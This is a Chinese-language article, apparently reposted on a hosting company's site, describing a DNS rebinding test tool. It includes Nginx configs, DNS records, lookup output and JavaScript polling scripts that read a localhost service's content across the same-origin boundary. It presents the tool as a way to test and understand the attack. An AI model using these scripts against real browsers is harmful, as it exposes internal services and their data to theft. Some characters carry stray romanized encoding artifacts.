這篇文章將為大家詳細(xì)講解有關(guān)DNS-Rebinding-Tool是什么腳本,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。
成都創(chuàng)新互聯(lián)公司基于成都重慶香港及美國(guó)等地區(qū)分布式IDC機(jī)房數(shù)據(jù)中心構(gòu)建的電信大帶寬,聯(lián)通大帶寬,移動(dòng)大帶寬,多線BGP大帶寬租用,是為眾多客戶(hù)提供專(zhuān)業(yè)服務(wù)器托管報(bào)價(jià),主機(jī)托管價(jià)格性?xún)r(jià)比高,為金融證券行業(yè)雙線服務(wù)器托管,ai人工智能服務(wù)器托管提供bgp線路100M獨(dú)享,G口帶寬及機(jī)柜租用的專(zhuān)業(yè)成都idc公司。
DNS-Rebinding-Tool是一款帶有自定義腳本的DNS重綁定工具,該項(xiàng)目集成了多種功能,可以用來(lái)測(cè)試DNS重綁定攻擊,并幫助我們更加深入地了解這種類(lèi)型的網(wǎng)絡(luò)攻擊。該工具由一個(gè)Web服務(wù)器和一個(gè)偽DNS服務(wù)器組成,這個(gè)偽DNS服務(wù)器主要功能就是用來(lái)響應(yīng)用戶(hù)請(qǐng)求的。
Web服務(wù)器的根索引允許用戶(hù)自定義配置,并且可以使用基礎(chǔ)的Web圖形界面執(zhí)行攻擊測(cè)試。
Web服務(wù)器主機(jī)的基礎(chǔ)Nginx配置如下:
server { listen 80; server_name dnsrebindtool.43z.one; location / { proxy_pass http://localhost:5000; }}
Web服務(wù)器的/attack路徑可以讀取GET參數(shù)“script”,該參數(shù)可以提供一個(gè)Basic64編碼的JavaScript腳本,并以嵌入在常規(guī)HTML頁(yè)面中的解碼代碼來(lái)響應(yīng)請(qǐng)求:
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk=" <html> <script> setTimeout(function(){ alert(1) }, 3000) </script></html>
在我注冊(cè)的域名43z.one中,我針對(duì)子域名rebind配置了一條NS記錄,并指向了該工具托管的IP地址:
ns A 81.4.124.10rebind NS ns.43z.one
DNS服務(wù)器只會(huì)響應(yīng)下列各式的查詢(xún)請(qǐng)求:
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
第一個(gè)部分(子域名)是一個(gè)隨機(jī)ID,每次攻擊會(huì)話會(huì)生成一個(gè)這樣的隨機(jī)ID,第二個(gè)部分是DNS服務(wù)器在兩秒后需要響應(yīng)的IP地址,第三部分是時(shí)間間隔過(guò)后DNS服務(wù)器需要響應(yīng)的IP地址:
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one Fri Feb 2 21:18:20 CET 2018Server: 8.8.8.8Address: 8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 81.4.124.10$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneFri Feb 2 21:18:23 CET 2018Server: 8.8.8.8Address: 8.8.8.8#53Non-authoritative answer:Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.oneAddress: 127.0.0.1
最后就是針對(duì)重綁定域名的Nginx配置項(xiàng)了,工具只接受/attack路徑,其他傳遞過(guò)來(lái)的參數(shù)都會(huì)以錯(cuò)誤信息予以響應(yīng),這種機(jī)制允許攻擊者攻擊端口80上的其他服務(wù),例如/api/monitoring/stats:
server { listen 80; server_name *.rebind.43z.one; location / { return 404; } location /attack { proxy_pass http://localhost:5000/attack; }}
var xhr = new XMLHttpRequest()xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// first time the browser sees this domain it queries the dns server// and gets 81.4.124.10// sleep for more than 2 secxhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)xhr.send()// still uses 81.4.124.10 (AND NOT 127.0.0.1)// NO dns query happened browser used cached IP
這也是此類(lèi)攻擊存在的一個(gè)“通病”,為了實(shí)現(xiàn)攻擊,瀏覽器需要重新發(fā)送一個(gè)新的DNS查詢(xún)請(qǐng)求來(lái)獲取第二個(gè)IP地址。我的測(cè)試結(jié)果表明,我們可以使用下列腳本來(lái)測(cè)量WAIT變量(查詢(xún)請(qǐng)求的發(fā)送時(shí)間間隔)的最優(yōu)值,我的測(cè)試平臺(tái)為Debian buster/sid,瀏覽器版本為Chromium 62.0.3202.89:
var WAIT = 200var start = Date.now()var interval = setInterval(function(){ var xhr = new XMLHttpRequest() xhr.open('GET', '//' + $REBIND_DOMAIN, false) xhr.send() if(xhr.status == 200){ document.body.innerHTML = (Date.now() - start)/1000 document.body.innerHTML += xhr.responseText clearInterval(interval) return }}, WAIT)
WAIT值/毫秒 | Chrome發(fā)送的請(qǐng)求數(shù) | 查詢(xún)DNS的間隔 |
---|---|---|
0 | 700 | 60 |
10 | 700 | 60 |
100 | 600 | 63 |
120 | 500 | 63 |
150 | 400 | 63 |
180 | 400 | 75 |
200 | 300 | 63 |
220 | 300 | 69 |
250 | 300 | 78 |
280 | 300 | 87 |
300 | 200 | 63 |
320 | 200 | 67 |
340 | 200 | 71 |
360 | 200 | 75 |
380 | 200 | 79 |
400 | 200 | 83 |
1000 | 100 | 103 |
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
這個(gè)netcat實(shí)例可以提供一些我們所感興趣的內(nèi)容,這里我保留了默認(rèn)的重綁定域名“$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one”以及默認(rèn)腳本。
var start = Date.now()var interval = setInterval(function(){ var xhr = new XMLHttpRequest() xhr.open('GET', '//' + $REBIND_DOMAIN, false) xhr.send() if(xhr.status == 200){ document.body.innerHTML = (Date.now() - start)/1000 document.body.innerHTML += xhr.responseText clearInterval(interval) return }}, 200)
訪問(wèn)【dnsrebindtool.43z.one】,然后點(diǎn)擊“Attack”按鈕。打開(kāi)開(kāi)發(fā)工具的Network標(biāo)簽,我們可以直接看到后臺(tái)所發(fā)生的的情況。我過(guò)濾掉了字符串“TOPSECRET”,我們的DNS重綁定攻擊成功繞過(guò)了SOP,為了要從iframe中獲取泄露的數(shù)據(jù),我們還需要使用 Window.PostMessage()或?qū)?shù)據(jù)轉(zhuǎn)發(fā)到攻擊者的另一臺(tái)服務(wù)器端。
關(guān)于“DNS-Rebinding-Tool是什么腳本”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。
本文標(biāo)題:DNS-Rebinding-Tool是什么腳本
本文網(wǎng)址:http://chinadenli.net/article48/gjeehp.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供域名注冊(cè)、網(wǎng)站設(shè)計(jì)公司、自適應(yīng)網(wǎng)站、網(wǎng)站設(shè)計(jì)、網(wǎng)站策劃、用戶(hù)體驗(yàn)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)